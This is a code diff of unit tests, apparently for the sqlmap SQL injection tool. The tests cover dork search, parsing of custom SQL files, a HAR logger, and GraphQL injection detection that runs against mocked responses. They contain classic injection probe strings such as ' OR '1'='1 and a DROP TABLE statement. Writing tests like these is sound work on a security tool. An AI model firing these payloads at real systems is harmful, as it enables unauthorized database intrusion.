Unit tests for lib/utils/search.py (dork search), exercising the engine loop by
|
||||
MOCKING the network layer (_fetch).
|
||||
|
||||
No network is involved: _fetch is patched to return canned search engine result
|
||||
pages, so we can assert both on the links extracted per engine and on the
|
||||
abuse/captcha detection that triggers proxy rotation (SEARCH_ABUSE_MARKERS).
|
||||
"""
|
||||
|
||||
import os
|
||||
import sys
|
||||
import unittest
|
||||
|
||||
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
||||
from _testutils import bootstrap
|
||||
|
||||
bootstrap()
|
||||
|
||||
from lib.core.data import conf
|
||||
from lib.core.exception import SqlmapBaseException
|
||||
from lib.core.settings import SEARCH_ABUSE_MARKERS
|
||||
import lib.utils.search as smod
|
||||
|
||||
BING_PAGE = '<h2><a target="_blank" href="https://www.bing.com/ck/a?!&&p=1&u=a1aHR0cHM6Ly93d3cuZXhhbXBsZS5jb20vYS5waHA_aWQ9MQ&ntb=1">a</a></h2>'
|
||||
DUCKDUCKGO_PAGE = '<a class="result__url" href="https://www.example.com/b.php?id=2">b</a>'
|
||||
|
||||
class TestDorkSearch(unittest.TestCase):
|
||||
def setUp(self):
|
||||
conf.googlePage = 1
|
||||
conf.proxyList = None
|
||||
self._fetch = smod._fetch
|
||||
|
||||
def tearDown(self):
|
||||
smod._fetch = self._fetch
|
||||
|
||||
def _pages(self, *pages):
|
||||
"""Patches _fetch to serve `pages` in engine order (None meaning no reply)"""
|
||||
|
||||
served = list(pages)
|
||||
self.requested = []
|
||||
|
||||
def fetch(url, headers, data=None):
|
||||
self.requested.append((url, data))
|
||||
return served.pop(0) if served else None
|
||||
|
||||
smod._fetch = fetch
|
||||
|
||||
def test_duckduckgo_results(self):
|
||||
self._pages(DUCKDUCKGO_PAGE)
|
||||
self.assertEqual(smod._search("dork"), ["https://www.example.com/b.php?id=2"])
|
||||
|
||||
def test_bing_fallback_decodes_redirect(self):
|
||||
self._pages(None, BING_PAGE)
|
||||
self.assertEqual(smod._search("dork"), ["https://www.example.com/a.php?id=1"])
|
||||
|
||||
def test_duckduckgo_paging_offset(self):
|
||||
# Note: first result page holds 10 entries, each subsequent one 15 (and not the uniform 30 as previously used)
|
||||
for gpage, offset in ((1, 0), (2, 10), (3, 25), (4, 40)):
|
||||
conf.googlePage = gpage
|
||||
self._pages(DUCKDUCKGO_PAGE)
|
||||
smod._search("dork")
|
||||
self.assertEqual(self.requested[0][1], "q=dork&s=%d" % offset)
|
||||
|
||||
def test_abuse_page_switches_proxy(self):
|
||||
# Note: without '--proxy-list' there is nothing to switch to, hence no exception
|
||||
for marker in SEARCH_ABUSE_MARKERS:
|
||||
self._pages("<html>%s</html>" % marker)
|
||||
conf.proxyList = None
|
||||
self.assertEqual(smod._search("dork"), [])
|
||||
|
||||
self._pages("<html>%s</html>" % marker)
|
||||
conf.proxyList = ["http://127.0.0.1:8080"]
|
||||
self.assertRaises(SqlmapBaseException, smod._search, "dork")
|
||||
|
||||
def test_results_page_is_not_mistaken_for_abuse(self):
|
||||
self._pages(DUCKDUCKGO_PAGE)
|
||||
conf.proxyList = ["http://127.0.0.1:8080"]
|
||||
self.assertEqual(smod._search("dork"), ["https://www.example.com/b.php?id=2"])
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||
|
|
@ -76,6 +76,17 @@ class _CaptureCase(unittest.TestCase):
|
|||
|
||||
|
||||
class TestStringAndLister(_CaptureCase):
|
||||
def test_audit_output(self):
|
||||
self.d.audit(["xp_cmdshell: disabled", "CLR integration: unavailable"])
|
||||
self.assertIn("database security audit [2]", self.text())
|
||||
self.assertIn("xp_cmdshell: disabled", self.text())
|
||||
self.assertIn("CLR integration: unavailable", self.text())
|
||||
|
||||
def test_links_output(self):
|
||||
self.d.links(["remote -> db.example"])
|
||||
self.assertIn("database links [1]", self.text())
|
||||
self.assertIn("remote -> db.example", self.text())
|
||||
|
||||
def test_string_scalar_quoted(self):
|
||||
# a plain string fact is rendered as "header: 'value'"
|
||||
self.d.string("current user", "root@localhost")
|
||||
|
|
|
|||
|
|
@ -21,8 +21,10 @@ prompts non-interactive, and conf.dumper is a recording stub. Every test restore
|
|||
all touched conf.* / kb.* / patched module attributes in tearDown so nothing leaks.
|
||||
"""
|
||||
|
||||
import io
|
||||
import os
|
||||
import sys
|
||||
import tempfile
|
||||
import unittest
|
||||
|
||||
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
||||
|
|
@ -39,6 +41,7 @@ import plugins.generic.entries as emod
|
|||
import plugins.generic.custom as cmod
|
||||
import plugins.generic.misc as mmod
|
||||
import plugins.generic.takeover as tmod
|
||||
import lib.core.common as common
|
||||
from plugins.generic.custom import Custom
|
||||
from plugins.generic.misc import Miscellaneous
|
||||
|
||||
|
|
@ -250,38 +253,69 @@ class TestCustomSqlQuery(_GenericBase):
|
|||
|
||||
|
||||
class TestCustomSqlFile(_GenericBase):
|
||||
def test_sqlfile_select_snippets(self):
|
||||
set_dbms("MySQL")
|
||||
c = Custom()
|
||||
cmod.inject.getValue = lambda query, **k: "r"
|
||||
def _runSqlFile(self, content, suffix=".sql"):
|
||||
handle, filename = tempfile.mkstemp(suffix=suffix)
|
||||
os.close(handle)
|
||||
self.addCleanup(os.unlink, filename)
|
||||
with io.open(filename, "w", encoding="utf-8", newline="") as f:
|
||||
f.write(content)
|
||||
|
||||
# getSQLSnippet reads from disk; patch it to return inline SQL.
|
||||
saved = cmod.getSQLSnippet
|
||||
try:
|
||||
cmod.getSQLSnippet = lambda dbms, filename, **kw: "SELECT 1;SELECT 2"
|
||||
conf.sqlFile = "dummy.sql"
|
||||
c.sqlFile()
|
||||
# two SELECT statements => two recorded dumper.sqlQuery calls
|
||||
self.assertEqual(len(conf.dumper.sqlQueries), 2)
|
||||
finally:
|
||||
cmod.getSQLSnippet = saved
|
||||
set_dbms("MySQL")
|
||||
cmod.inject.getValue = lambda query, **k: "r"
|
||||
conf.sqlFile = filename
|
||||
Custom().sqlFile()
|
||||
return [query for query, output in conf.dumper.sqlQueries]
|
||||
|
||||
def test_sqlfile_select_snippets(self):
|
||||
self.assertEqual(self._runSqlFile(u"SELECT 1; SELECT 2;\n"), ["SELECT 1", "SELECT 2"])
|
||||
|
||||
def test_sqlfile_nonselect_snippet(self):
|
||||
set_dbms("MySQL")
|
||||
conf.direct = True
|
||||
c = Custom()
|
||||
cmod.inject.goStacked = lambda *a, **k: None
|
||||
self.assertEqual(self._runSqlFile(u"DROP TABLE x"), ["DROP TABLE x"])
|
||||
|
||||
saved = cmod.getSQLSnippet
|
||||
def test_sqlfile_preserves_percent_tokens_without_prompting(self):
|
||||
saved = common.readInput
|
||||
try:
|
||||
cmod.getSQLSnippet = lambda dbms, filename, **kw: "DROP TABLE x"
|
||||
conf.sqlFile = "dummy.sql"
|
||||
c.sqlFile()
|
||||
# non-SELECT => single recorded call with the whole snippet
|
||||
self.assertEqual(len(conf.dumper.sqlQueries), 1)
|
||||
self.assertEqual(conf.dumper.sqlQueries[0][0], "DROP TABLE x")
|
||||
common.readInput = lambda *a, **k: self.fail("user SQL must not request template substitutions")
|
||||
query = u"SELECT DATE_FORMAT(NOW(), '%m%m'), '%RANDSTR1%', '%RANDINT1%'"
|
||||
self.assertEqual(self._runSqlFile(query), [query])
|
||||
finally:
|
||||
cmod.getSQLSnippet = saved
|
||||
common.readInput = saved
|
||||
|
||||
def test_sqlfile_preserves_hash_and_quoted_delimiters(self):
|
||||
first = u"SELECT '#keep; value', 'it''s; quoted', \"semi; colon\""
|
||||
self.assertEqual(self._runSqlFile(first + u"; SELECT 2;"), [first, "SELECT 2"])
|
||||
|
||||
def test_sqlfile_preserves_multiline_literal(self):
|
||||
query = u"SELECT 'a;\n b'"
|
||||
self.assertEqual(self._runSqlFile(query), [query])
|
||||
|
||||
def test_sqlfile_preserves_crlf_literal(self):
|
||||
query = u"SELECT 'a;\r\n b'"
|
||||
self.assertEqual(self._runSqlFile(query + u";\r\nSELECT 2;"), [query, "SELECT 2"])
|
||||
|
||||
def test_sqlfile_newline_separated_selects(self):
|
||||
self.assertEqual(self._runSqlFile(u"SELECT 'a;b'\nSELECT 2\n"), ["SELECT 'a;b'", "SELECT 2"])
|
||||
|
||||
def test_sqlfile_multiline_select(self):
|
||||
query = u"SELECT name\nFROM users"
|
||||
self.assertEqual(self._runSqlFile(query), [query])
|
||||
|
||||
def test_sqlfile_preserves_mixed_batch(self):
|
||||
batch = u"UPDATE users SET name='#keep; value';\nSELECT name FROM users;"
|
||||
executed = []
|
||||
cmod.inject.goStacked = lambda query, **k: executed.append(query)
|
||||
self.assertEqual(self._runSqlFile(batch), [batch])
|
||||
self.assertEqual(executed, [batch.rstrip(';')])
|
||||
|
||||
def test_sqlfile_arbitrary_extension(self):
|
||||
self.assertEqual(self._runSqlFile(u"SELECT 1", suffix=".txt"), ["SELECT 1"])
|
||||
|
||||
def test_sqlfile_without_extension(self):
|
||||
self.assertEqual(self._runSqlFile(u"SELECT 1", suffix=""), ["SELECT 1"])
|
||||
|
||||
def test_sqlfile_empty(self):
|
||||
self.assertEqual(self._runSqlFile(u" \n;\n "), [])
|
||||
|
||||
|
||||
# --------------------------------------------------------------------------- #
|
||||
|
|
|
|||
|
|
@ -250,7 +250,7 @@ class TestGraphqlBooleanDetection(unittest.TestCase):
|
|||
gi.conf = type("C", (), {"url": "http://test/graphql"})()
|
||||
|
||||
pages = {"true": MATCH, "false": NOMATCH}
|
||||
def fakeSend(endpoint, query, variables=None):
|
||||
def fakeSend(endpoint, query, variables=None, **kwargs):
|
||||
if "'1'='1" in query:
|
||||
return pages["true"], 200
|
||||
if "'1'='2" in query:
|
||||
|
|
@ -276,7 +276,7 @@ class TestGraphqlBooleanDetection(unittest.TestCase):
|
|||
def test_graphql_two_true_transport_failures_do_not_confirm(self):
|
||||
# the TRUE query fails transport (-> None), the FALSE succeeds: two None trues must NOT be
|
||||
# read as a reproducible page that "differs" from false (the classic fabricated confirmation)
|
||||
def fakeSend(endpoint, query, variables=None):
|
||||
def fakeSend(endpoint, query, variables=None, **kwargs):
|
||||
if "'1'='1" in query:
|
||||
return None, 0 # transport failure on the true payload
|
||||
return NOMATCH, 200
|
||||
|
|
@ -288,7 +288,7 @@ class TestGraphqlBooleanDetection(unittest.TestCase):
|
|||
def test_graphql_false_page_is_replayed(self):
|
||||
# a FALSE page that does not reproduce (jitter) must not establish an oracle
|
||||
state = {"n": 0}
|
||||
def fakeSend(endpoint, query, variables=None):
|
||||
def fakeSend(endpoint, query, variables=None, **kwargs):
|
||||
if "'1'='1" in query:
|
||||
return MATCH, 200
|
||||
state["n"] += 1
|
||||
|
|
@ -304,7 +304,7 @@ class TestGraphqlBooleanDetection(unittest.TestCase):
|
|||
# P0-3: the FALSE payload trips a stable HTTP-200 resolver error ({data:null, errors:[...]}),
|
||||
# which yields the same {"user":null} observation as a genuine false. That is NOT a boolean
|
||||
# oracle (it belongs to error-based detection) - _detectBoolean must reject the errored pair.
|
||||
def fakeSend(endpoint, query, variables=None):
|
||||
def fakeSend(endpoint, query, variables=None, **kwargs):
|
||||
if "'1'='1" in query: # true -> real rows
|
||||
return MATCH, 200
|
||||
return '{"data":{"user":null},"errors":[{"message":"resolver failed","path":["user"]}]}', 200
|
||||
|
|
@ -330,7 +330,7 @@ class TestGraphqlErrorDetection(unittest.TestCase):
|
|||
self._conf = gi.conf
|
||||
gi.conf = type("C", (), {"url": "http://test/graphql"})()
|
||||
|
||||
def fakeSend(endpoint, query, variables=None):
|
||||
def fakeSend(endpoint, query, variables=None, **kwargs):
|
||||
if "'" in query and "'1'='1" not in query:
|
||||
return DB_ERROR, 500
|
||||
return NOMATCH, 200
|
||||
|
|
@ -349,7 +349,7 @@ class TestGraphqlErrorDetection(unittest.TestCase):
|
|||
# boolean payloads do NOT diverge (both -> NOMATCH) so boolean detection fails; only the error
|
||||
# payloads trip a DB error. The reported reproducer must be the WINNING error payload, never the
|
||||
# generic ' OR '1'='1 boolean payload.
|
||||
def fakeSend(endpoint, query, variables=None):
|
||||
def fakeSend(endpoint, query, variables=None, **kwargs):
|
||||
if "'1'='" in query: # both boolean payloads ('1'='1 / '1'='2) -> identical, no oracle
|
||||
return NOMATCH, 200
|
||||
if "'" in query: # error payloads (', '', '") -> DB error
|
||||
|
|
@ -415,7 +415,7 @@ class TestGraphqlEndpointDetection(unittest.TestCase):
|
|||
|
||||
def setUp(self):
|
||||
self._gql = gi._gqlSend
|
||||
def fakeSend(endpoint, query, variables=None):
|
||||
def fakeSend(endpoint, query, variables=None, **kwargs):
|
||||
if endpoint.endswith("/graphql") and "__typename" in query:
|
||||
return '{"data":{"__typename":"Query"}}', 200
|
||||
return 'Not Found', 404
|
||||
|
|
@ -433,7 +433,7 @@ class TestGraphqlEndpointDetection(unittest.TestCase):
|
|||
self.assertEqual(endpoint, "http://test/graphql")
|
||||
|
||||
def test_not_graphql_endpoint(self):
|
||||
def fakeSend(endpoint, query, variables=None):
|
||||
def fakeSend(endpoint, query, variables=None, **kwargs):
|
||||
return 'Not Found', 404
|
||||
gi._gqlSend = fakeSend
|
||||
endpoint, page = gi._detectEndpoint("http://test", probePaths=True)
|
||||
|
|
@ -454,7 +454,7 @@ class TestGraphqlIntrospectionFallback(unittest.TestCase):
|
|||
|
||||
def test_fallback_without_specifiedByURL(self):
|
||||
calls = []
|
||||
def fakeSend(endpoint, query, variables=None):
|
||||
def fakeSend(endpoint, query, variables=None, **kwargs):
|
||||
calls.append(query)
|
||||
if "specifiedByURL" in query:
|
||||
return '{"errors":[{"message":"Unknown field specifiedByURL"}]}', 400
|
||||
|
|
@ -684,7 +684,7 @@ class TestGraphqlInference(unittest.TestCase):
|
|||
NOMATCHV = '{"data":{"user":null}}'
|
||||
saved = gi._gqlSend
|
||||
try:
|
||||
def fakeSend(endpoint, query, variables=None):
|
||||
def fakeSend(endpoint, query, variables=None, **kwargs):
|
||||
if "1=1" in query:
|
||||
return MATCHV, 200
|
||||
if "1=2" in query:
|
||||
|
|
@ -733,7 +733,7 @@ class TestGraphqlMakeOracle(unittest.TestCase):
|
|||
def setUp(self):
|
||||
self._gql = gi._gqlSend
|
||||
|
||||
def fakeSend(endpoint, query, variables=None):
|
||||
def fakeSend(endpoint, query, variables=None, **kwargs):
|
||||
if "a0:" in query: # batched, aliased request
|
||||
data = {}
|
||||
for m in re.finditer(r'(a\d+):\w+\(\w+:"[^"]*\((1=1|1=2)\)', query):
|
||||
|
|
|
|||
|
|
@ -52,6 +52,14 @@ class TestHTTPCollector(unittest.TestCase):
|
|||
self.assertEqual(entries[0]["request"]["method"], "GET")
|
||||
self.assertEqual(entries[0]["response"]["status"], 200)
|
||||
|
||||
def test_request_url_scheme(self):
|
||||
# Note: origin-form request lines carry no scheme (HTTPS targets used to be logged as 'http://'), while
|
||||
# absolute-form ones (refreshing/crawling/checking requests) used to get the Host prepended to them
|
||||
c = H.HTTPCollector()
|
||||
for line, scheme in (("GET /?id=1", "https"), ("GET /?id=1", None), ("GET https://other.com:8443/x?id=1", "http")):
|
||||
c.collectRequest(("%s HTTP/1.1\r\nHost: example.com\r\n\r\n" % line).encode(), b"HTTP/1.1 200 OK\r\n\r\n", startTime=1000, endTime=2000, scheme=scheme)
|
||||
self.assertEqual([_["request"]["url"] for _ in c.obtain()["log"]["entries"]], ["https://example.com/?id=1", "http://example.com/?id=1", "https://other.com:8443/x?id=1"])
|
||||
|
||||
|
||||
class TestHTTPCollectorFactory(unittest.TestCase):
|
||||
def test_create_returns_collector(self):
|
||||
|
|
|
|||
Some files were not shown because too many files have changed in this diff Show more
Loading…
Add table
Add a link
Reference in a new issue